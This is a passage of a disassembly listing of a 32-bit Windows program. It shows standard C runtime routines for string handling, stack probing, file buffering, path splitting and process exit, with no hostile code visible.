		jnz	short loc_40D7FB


loc_40D805:				; CODE XREF: sub_40D7B0+49j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40D80B:				; CODE XREF: sub_40D7B0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_40D7B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D810	proc near		; CODE XREF: sub_401179+B9p
					; sub_4012BA+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_40D890
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_40D87D


loc_40D828:				; CODE XREF: sub_40D810+58j
					; sub_40D810+6Bj
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		add	esi, 1
		cmp	al, dl
		jz	short loc_40D84E
		test	al, al
		jz	short loc_40D848


loc_40D83B:				; CODE XREF: sub_40D810+36j
		mov	al, [esi]
		add	esi, 1


loc_40D840:				; CODE XREF: sub_40D810+45j
		cmp	al, dl
		jz	short loc_40D84E
		test	al, al
		jnz	short loc_40D83B


loc_40D848:				; CODE XREF: sub_40D810+29j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40D84E:				; CODE XREF: sub_40D810+25j
					; sub_40D810+32j
		mov	al, [esi]
		add	esi, 1
		cmp	al, dh
		jnz	short loc_40D840
		lea	edi, [esi-1]


loc_40D85A:				; CODE XREF: sub_40D810+69j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_40D889
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_40D828
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_40D889
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_40D85A
		jmp	short loc_40D828
; ---------------------------------------------------------------------------


loc_40D87D:				; CODE XREF: sub_40D810+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_40E126
; ---------------------------------------------------------------------------


loc_40D889:				; CODE XREF: sub_40D810+4Fj
					; sub_40D810+5Fj
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40D890:				; CODE XREF: sub_40D810+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_40D810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D8A0	proc near		; CODE XREF: sub_40198E+13C7p
					; sub_405E94+127p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_40D915
sub_40D8A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D8B0	proc near		; CODE XREF: sub_401179+99p
					; sub_4013E5+97p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_40D8D0


loc_40D8BD:				; CODE XREF: sub_40D8B0+1Cj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_40D903
		test	ecx, 3
		jnz	short loc_40D8BD
		mov	edi, edi


loc_40D8D0:				; CODE XREF: sub_40D8B0+Bj
					; sub_40D8B0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40D8D0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40D912
		test	ah, ah
		jz	short loc_40D90D
		test	eax, 0FF0000h
		jz	short loc_40D908
		test	eax, 0FF000000h
		jz	short loc_40D903
		jmp	short loc_40D8D0
; ---------------------------------------------------------------------------


loc_40D903:				; CODE XREF: sub_40D8B0+14j
					; sub_40D8B0+4Fj
		lea	edi, [ecx-1]
		jmp	short loc_40D915
; ---------------------------------------------------------------------------


loc_40D908:				; CODE XREF: sub_40D8B0+48j
		lea	edi, [ecx-2]
		jmp	short loc_40D915
; ---------------------------------------------------------------------------


loc_40D90D:				; CODE XREF: sub_40D8B0+41j
		lea	edi, [ecx-3]
		jmp	short loc_40D915
; ---------------------------------------------------------------------------


loc_40D912:				; CODE XREF: sub_40D8B0+3Dj
		lea	edi, [ecx-4]


loc_40D915:				; CODE XREF: sub_40D8A0+5j
					; sub_40D8B0+56j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_40D93E


loc_40D921:				; CODE XREF: sub_40D8B0+85j
		mov	dl, [ecx]
		add	ecx, 1
		test	dl, dl
		jz	short loc_40D990
		mov	[edi], dl
		add	edi, 1
		test	ecx, 3
		jnz	short loc_40D921
		jmp	short loc_40D93E
; ---------------------------------------------------------------------------


loc_40D939:				; CODE XREF: sub_40D8B0+A6j
					; sub_40D8B0+C0j
		mov	[edi], edx
		add	edi, 4


loc_40D93E:				; CODE XREF: sub_40D8B0+6Fj
					; sub_40D8B0+87j
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40D939
		test	dl, dl
		jz	short loc_40D990
		test	dh, dh
		jz	short loc_40D987
		test	edx, 0FF0000h
		jz	short loc_40D97A
		test	edx, 0FF000000h
		jz	short loc_40D972
		jmp	short loc_40D939
; ---------------------------------------------------------------------------


loc_40D972:				; CODE XREF: sub_40D8B0+BEj
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40D97A:				; CODE XREF: sub_40D8B0+B6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40D987:				; CODE XREF: sub_40D8B0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40D990:				; CODE XREF: sub_40D8B0+78j
					; sub_40D8B0+AAj
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_40D8B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D9A0	proc near		; CODE XREF: sub_401179+8p
					; sub_4013E5+8p ...

arg_0		= byte ptr  4

		cmp	eax, 1000h
		jnb	short loc_40D9B5
		neg	eax
		add	eax, esp
		add	eax, 4
		test	[eax], eax
		xchg	eax, esp
		mov	eax, [eax]
		push	eax
		retn
; ---------------------------------------------------------------------------


loc_40D9B5:				; CODE XREF: sub_40D9A0+5j
		push	ecx
		lea	ecx, [esp+4+arg_0]


loc_40D9BA:				; CODE XREF: sub_40D9A0+2Cj
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_40D9BA
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_40D9A0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D9DD	proc near		; CODE XREF: sub_4012BA+120p
					; sub_40151D+120p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_40DAB6
		test	al, 40h
		jnz	loc_40DAB6
		test	al, 2
		jz	short loc_40DA04
		or	eax, 20h
		mov	[esi+0Ch], eax
		jmp	loc_40DAB6
; ---------------------------------------------------------------------------


loc_40DA04:				; CODE XREF: sub_40D9DD+1Aj
		or	eax, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_40DA19
		push	esi
		call	sub_4106EF
		pop	ecx
		jmp	short loc_40DA1E
; ---------------------------------------------------------------------------


loc_40DA19:				; CODE XREF: sub_40D9DD+31j
		mov	eax, [esi+8]
		mov	[esi], eax


loc_40DA1E:				; CODE XREF: sub_40D9DD+3Aj
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41050F
		add	esp, 0Ch
		test	eax, eax
		mov	[esi+4], eax
		jz	short loc_40DAA5
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DAA5
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_40DA7A
		mov	ecx, [esi+10h]
		cmp	ecx, 0FFFFFFFFh
		push	edi
		jz	short loc_40DA60
		mov	edi, ecx
		sar	edi, 5
		mov	edi, dword_4C5DC0[edi*4]
		and	ecx, 1Fh
		lea	edi, [edi+ecx*8]
		jmp	short loc_40DA65
; ---------------------------------------------------------------------------


loc_40DA60:				; CODE XREF: sub_40D9DD+6Dj
		mov	edi, offset dword_421260


loc_40DA65:				; CODE XREF: sub_40D9DD+81j
		mov	cl, [edi+4]
		and	cl, 82h
		cmp	cl, 82h
		pop	edi
		jnz	short loc_40DA7A
		or	edx, 2000h
		mov	[esi+0Ch], edx


loc_40DA7A:				; CODE XREF: sub_40D9DD+64j
					; sub_40D9DD+92j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_40DA97
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_40DA97
		test	ch, 4
		jnz	short loc_40DA97
		mov	dword ptr [esi+18h], 1000h


loc_40DA97:				; CODE XREF: sub_40D9DD+A4j
					; sub_40D9DD+ACj ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40DAA5:				; CODE XREF: sub_40D9DD+57j
					; sub_40D9DD+5Cj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_40DAB6:				; CODE XREF: sub_40D9DD+Aj
					; sub_40D9DD+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_40D9DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DABB	proc near		; DATA XREF: .text:0041E014o
		mov	eax, dword_4C6EE0
		test	eax, eax
		push	esi
		push	14h
		pop	esi
		jnz	short loc_40DACF
		mov	eax, 200h
		jmp	short loc_40DAD5
; ---------------------------------------------------------------------------


loc_40DACF:				; CODE XREF: sub_40DABB+Bj
		cmp	eax, esi
		jge	short loc_40DADA
		mov	eax, esi


loc_40DAD5:				; CODE XREF: sub_40DABB+12j
		mov	dword_4C6EE0, eax


loc_40DADA:				; CODE XREF: sub_40DABB+16j
		push	4
		push	eax
		call	sub_410733
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_4C5ED4, eax
		jnz	short loc_40DB0B
		push	4
		push	esi
		mov	dword_4C6EE0, esi
		call	sub_410733
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_4C5ED4, eax
		jnz	short loc_40DB0B
		push	1Ah
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40DB0B:				; CODE XREF: sub_40DABB+30j
					; sub_40DABB+49j
		xor	edx, edx
		mov	ecx, offset off_420F80
		jmp	short loc_40DB19
; ---------------------------------------------------------------------------


loc_40DB14:				; CODE XREF: sub_40DABB+6Dj
		mov	eax, dword_4C5ED4


loc_40DB19:				; CODE XREF: sub_40DABB+57j
		mov	[edx+eax], ecx
		add	ecx, 20h
		add	edx, 4
		cmp	ecx, offset dword_421200
		jl	short loc_40DB14
		xor	edx, edx
		mov	ecx, offset dword_420F90


loc_40DB31:				; CODE XREF: sub_40DABB+A0j
		mov	eax, edx
		sar	eax, 5
		mov	eax, dword_4C5DC0[eax*4]
		mov	esi, edx
		and	esi, 1Fh
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DB4E
		test	eax, eax
		jnz	short loc_40DB51


loc_40DB4E:				; CODE XREF: sub_40DABB+8Dj
		or	dword ptr [ecx], 0FFFFFFFFh


loc_40DB51:				; CODE XREF: sub_40DABB+91j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_420FF0
		jl	short loc_40DB31
		xor	eax, eax
		pop	esi
		retn
sub_40DABB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB61	proc near		; DATA XREF: .text:0041E030o

; FUNCTION CHUNK AT 004107AE SIZE 00000058 BYTES

		call	sub_41090B
		cmp	byte_4C5948, 0
		jz	short locret_40DB74
		jmp	loc_4107AE
; ---------------------------------------------------------------------------

locret_40DB74:				; CODE XREF: sub_40DB61+Cj
		retn
sub_40DB61	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40DB80	proc near		; CODE XREF: sub_401648+2Bp
					; sub_401822+49p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_40DC1F
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_40DBAC
		shr	ecx, 2
		jnz	loc_40DC2F
		jmp	short loc_40DBD3
; ---------------------------------------------------------------------------


loc_40DBAC:				; CODE XREF: sub_40DB80+1Fj
					; sub_40DB80+45j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	short loc_40DBE6
		test	al, al
		jz	short loc_40DBEE
		test	esi, 3
		jnz	short loc_40DBAC
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40DC2F


loc_40DBCE:				; CODE XREF: sub_40DB80+ADj
		and	ebx, 3
		jz	short loc_40DBE6


loc_40DBD3:				; CODE XREF: sub_40DB80+2Aj
					; sub_40DB80+64j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		test	al, al
		jz	short loc_40DC18
		sub	ebx, 1
		jnz	short loc_40DBD3


loc_40DBE6:				; CODE XREF: sub_40DB80+39j
					; sub_40DB80+51j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40DBEE:				; CODE XREF: sub_40DB80+3Dj
		test	edi, 3
		jz	short loc_40DC0C


loc_40DBF6:				; CODE XREF: sub_40DB80+8Aj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	loc_40DC9C
		test	edi, 3
		jnz	short loc_40DBF6


loc_40DC0C:				; CODE XREF: sub_40DB80+74j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40DC87


loc_40DC13:				; CODE XREF: sub_40DB80+9Bj
					; sub_40DB80+116j
		mov	[edi], al
		add	edi, 1


loc_40DC18:				; CODE XREF: sub_40DB80+5Fj
		sub	ebx, 1
		jnz	short loc_40DC13
		pop	ebx
		pop	esi


loc_40DC1F:				; CODE XREF: sub_40DB80+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40DC25:				; CODE XREF: sub_40DB80+C7j
					; sub_40DB80+DFj
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_40DBCE


loc_40DC2F:				; CODE XREF: sub_40DB80+24j
					; sub_40DB80+4Cj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_40DC25
		test	dl, dl
		jz	short loc_40DC79
		test	dh, dh
		jz	short loc_40DC6F
		test	edx, 0FF0000h
		jz	short loc_40DC65
		test	edx, 0FF000000h
		jnz	short loc_40DC25
		mov	[edi], edx
		jmp	short loc_40DC7D
; ---------------------------------------------------------------------------


loc_40DC65:				; CODE XREF: sub_40DB80+D7j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_40DC7D
; ---------------------------------------------------------------------------


loc_40DC6F:				; CODE XREF: sub_40DB80+CFj
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_40DC7D
; ---------------------------------------------------------------------------


loc_40DC79:				; CODE XREF: sub_40DB80+CBj
		xor	edx, edx
		mov	[edi], edx


loc_40DC7D:				; CODE XREF: sub_40DB80+E3j
					; sub_40DB80+EDj ...
		add	edi, 4
		xor	eax, eax
		sub	ecx, 1
		jz	short loc_40DC93


loc_40DC87:				; CODE XREF: sub_40DB80+91j
		xor	eax, eax


loc_40DC89:				; CODE XREF: sub_40DB80+111j
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 1
		jnz	short loc_40DC89


loc_40DC93:				; CODE XREF: sub_40DB80+105j
		and	ebx, 3
		jnz	loc_40DC13


loc_40DC9C:				; CODE XREF: sub_40DB80+7Ej
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40DB80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCA4	proc near		; CODE XREF: sub_40198E+1B3Bp
					; sub_40198E+2973p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+var_14], 49h
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_40D630
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41095C
		add	esp, 10h
		leave
		retn
sub_40DCA4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCE0	proc near		; CODE XREF: sub_40198E+1AB8p
					; sub_40198E+1ADEp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		add	ecx, 1
		neg	ecx
		sub	edi, 1
		mov	al, [ebp+arg_4]
		std
		repne scasb
		add	edi, 1
		cmp	[edi], al
		jz	short loc_40DD07
		xor	eax, eax
		jmp	short loc_40DD09
; ---------------------------------------------------------------------------


loc_40DD07:				; CODE XREF: sub_40DCE0+21j
		mov	eax, edi


loc_40DD09:				; CODE XREF: sub_40DCE0+25j
		cld
		pop	edi
		leave
		retn
sub_40DCE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DD0D	proc near		; CODE XREF: sub_40DDA2+BAp
					; .text:0040F93Ep

arg_0		= dword	ptr  4

		push	offset aMscoree_dll ; "mscoree.dll"
		call	dword_419094	; GetModuleHandleA
		test	eax, eax
		jz	short loc_40DD32
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax
		call	dword_4190F8	; GetProcAddress
		test	eax, eax
		jz	short loc_40DD32
		push	[esp+arg_0]
		call	eax ; dword_41E038


loc_40DD32:				; CODE XREF: sub_40DD0D+Dj
					; sub_40DD0D+1Dj
		push	[esp+arg_0]
		call	dword_4190B8	; ExitProcess
		int	3		; Trap to Debugger


loc_40DD3D:				; CODE XREF: .text:loc_40F995p
		mov	eax, off_421218
		test	eax, eax
		jz	short loc_40DD48
		call	eax ; sub_40E2CA


loc_40DD48:				; CODE XREF: sub_40DD0D+37j
		push	esi
		push	edi
		mov	ecx, offset dword_41E010
		mov	edi, offset dword_41E028
		xor	eax, eax
		cmp	ecx, edi
		mov	esi, ecx
		jnb	short loc_40DD73


loc_40DD5C:				; CODE XREF: sub_40DD0D+60j
		test	eax, eax
		jnz	short loc_40DD9F
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_40DD68
		call	ecx


loc_40DD68:				; CODE XREF: sub_40DD0D+57j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_40DD5C
		test	eax, eax
		jnz	short loc_40DD9F


loc_40DD73:				; CODE XREF: sub_40DD0D+4Dj
		push	offset loc_4115F6
		call	sub_411578
		mov	esi, offset dword_41E000
		mov	eax, esi
		mov	edi, offset dword_41E00C
		cmp	eax, edi
		pop	ecx
		jnb	short loc_40DD9D


loc_40DD8E:				; CODE XREF: sub_40DD0D+8Ej
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40DD96
		call	eax


loc_40DD96:				; CODE XREF: sub_40DD0D+85j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_40DD8E


loc_40DD9D:				; CODE XREF: sub_40DD0D+7Fj
		xor	eax, eax


loc_40DD9F:				; CODE XREF: sub_40DD0D+51j
					; sub_40DD0D+64j
		pop	edi
		pop	esi
		retn
sub_40DD0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DDA2	proc near		; CODE XREF: sub_40DE64+8p
					; sub_40DE75+8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		inc	esi
		cmp	dword_4C5950, esi
		push	edi
		jnz	short loc_40DDC2
		push	[ebp+arg_0]
		call	dword_4190F4	; GetCurrentProcess
		push	eax
		call	dword_419070	; TerminateProcess


loc_40DDC2:				; CODE XREF: sub_40DDA2+Ej
		cmp	[ebp+arg_4], 0
		mov	al, byte ptr [ebp+arg_8]
		mov	dword_4C594C, esi
		mov	byte_4C5948, al
		jnz	short loc_40DE28
		mov	ecx, dword_4C5ECC
		test	ecx, ecx
		jz	short loc_40DE09
		mov	eax, dword_4C5EC8
		sub	eax, 4
		cmp	eax, ecx
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------


loc_40DDEC:				; CODE XREF: sub_40DDA2+65j
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_40DDF4
		call	eax


loc_40DDF4:				; CODE XREF: sub_40DDA2+4Ej
		mov	eax, dword_4C5EC8
		sub	eax, 4
		cmp	eax, dword_4C5ECC


loc_40DE02:				; CODE XREF: sub_40DDA2+48j
		mov	dword_4C5EC8, eax
		jnb	short loc_40DDEC


loc_40DE09:				; CODE XREF: sub_40DDA2+3Cj
		mov	eax, offset dword_41E02C
		mov	esi, offset dword_41E034
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_40DE28


loc_40DE19:				; CODE XREF: sub_40DDA2+84j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_40DE21
		call	eax


loc_40DE21:				; CODE XREF: sub_40DDA2+7Bj
		add	edi, 4
		cmp	edi, esi
		jb	short loc_40DE19


loc_40DE28:				; CODE XREF: sub_40DDA2+32j
					; sub_40DDA2+75j
		mov	eax, offset dword_41E038
		mov	esi, offset dword_41E040
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_40DE47


loc_40DE38:				; CODE XREF: sub_40DDA2+A3j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_40DE40
		call	eax


loc_40DE40:				; CODE XREF: sub_40DDA2+9Aj
		add	edi, 4
		cmp	edi, esi
		jb	short loc_40DE38


loc_40DE47:				; CODE XREF: sub_40DDA2+94j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jnz	short loc_40DE62
		push	[ebp+arg_0]
		mov	dword_4C5950, 1
		call	sub_40DD0D
		pop	ecx


loc_40DE62:				; CODE XREF: sub_40DDA2+ABj
		pop	ebp
		retn
sub_40DDA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE64	proc near		; CODE XREF: sub_40198E+150Bp
					; .text:0040F9E5p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_40DDA2
		add	esp, 0Ch
		retn
sub_40DE64	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE75	proc near		; CODE XREF: sub_40F82D+1Cp
					; .text:0040FA12p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_40DDA2
		add	esp, 0Ch
		retn
sub_40DE75	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE86	proc near		; CODE XREF: .text:loc_40F9EAp
		push	1
		push	0
		push	0
		call	sub_40DDA2
		add	esp, 0Ch
		retn
sub_40DE86	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE95	proc near		; CODE XREF: .text:loc_40FA17p
		push	1
		push	1
		push	0
		call	sub_40DDA2
		add	esp, 0Ch
		retn
sub_40DE95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DEA4	proc near		; CODE XREF: sub_40198E+1065p
					; sub_404BAB+16Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_40D630
		cmp	eax, 1
		pop	ecx
		jb	short loc_40DEE0
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_40DEE0
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_40DEDC
		push	2
		push	ebx
		push	esi
		call	sub_411A2E
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_40DEDC:				; CODE XREF: sub_40DEA4+26j
		inc	ebx
		inc	ebx
		jmp	short loc_40DEEA
; ---------------------------------------------------------------------------


loc_40DEE0:				; CODE XREF: sub_40DEA4+19j
					; sub_40DEA4+1Fj
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_40DEEA
		and	byte ptr [eax],	0


loc_40DEEA:				; CODE XREF: sub_40DEA4+3Aj
					; sub_40DEA4+41j
		and	[ebp+arg_0], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	[ebp+var_8], eax
		mov	esi, 0FFh
		jz	short loc_40DF62


loc_40DEFD:				; CODE XREF: sub_40DEA4+88j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4C5B81[edx], 4
		jz	short loc_40DF0E
		inc	eax
		jmp	short loc_40DF28
; ---------------------------------------------------------------------------


loc_40DF0E:				; CODE XREF: sub_40DEA4+65j
		cmp	cl, 2Fh
		jz	short loc_40DF22
		cmp	cl, 5Ch
		jz	short loc_40DF22
		cmp	cl, 2Eh
		jnz	short loc_40DF28
		mov	[ebp+var_4], eax
		jmp	short loc_40DF28
; ---------------------------------------------------------------------------


loc_40DF22:				; CODE XREF: sub_40DEA4+6Dj
					; sub_40DEA4+72j
		lea	ecx, [eax+1]
		mov	[ebp+arg_0], ecx


loc_40DF28:				; CODE XREF: sub_40DEA4+68j
					; sub_40DEA4+77j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_40DEFD
		mov	edi, [ebp+arg_0]
		test	edi, edi
		mov	[ebp+var_8], eax
		jz	short loc_40DF62
		cmp	[ebp+arg_8], 0
		jz	short loc_40DF5D
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_40DF46
		mov	edi, esi


loc_40DF46:				; CODE XREF: sub_40DEA4+9Ej
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_411A2E
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+var_8]


loc_40DF5D:				; CODE XREF: sub_40DEA4+98j
		mov	ebx, [ebp+arg_0]
		jmp	short loc_40DF6C
; ---------------------------------------------------------------------------


loc_40DF62:				; CODE XREF: sub_40DEA4+57j
					; sub_40DEA4+92j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_40DF6C
		and	byte ptr [ecx],	0


loc_40DF6C:				; CODE XREF: sub_40DEA4+BCj
					; sub_40DEA4+C3j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_40DFBF
		cmp	edi, ebx
		jb	short loc_40DFBF
		cmp	[ebp+arg_C], 0
		jz	short loc_40DF9C
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_40DF85
		mov	edi, esi


loc_40DF85:				; CODE XREF: sub_40DEA4+DDj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_411A2E
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+var_8]


loc_40DF9C:				; CODE XREF: sub_40DEA4+D7j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_40DFE7
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_40DFAC
		mov	esi, eax


loc_40DFAC:				; CODE XREF: sub_40DEA4+104j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_411A2E
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_40DFE7
; ---------------------------------------------------------------------------


loc_40DFBF:				; CODE XREF: sub_40DEA4+CDj
					; sub_40DEA4+D1j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_40DFDD
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_40DFCE
		mov	esi, eax


loc_40DFCE:				; CODE XREF: sub_40DEA4+126j
		push	esi
		push	ebx
		push	edi
		call	sub_411A2E
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


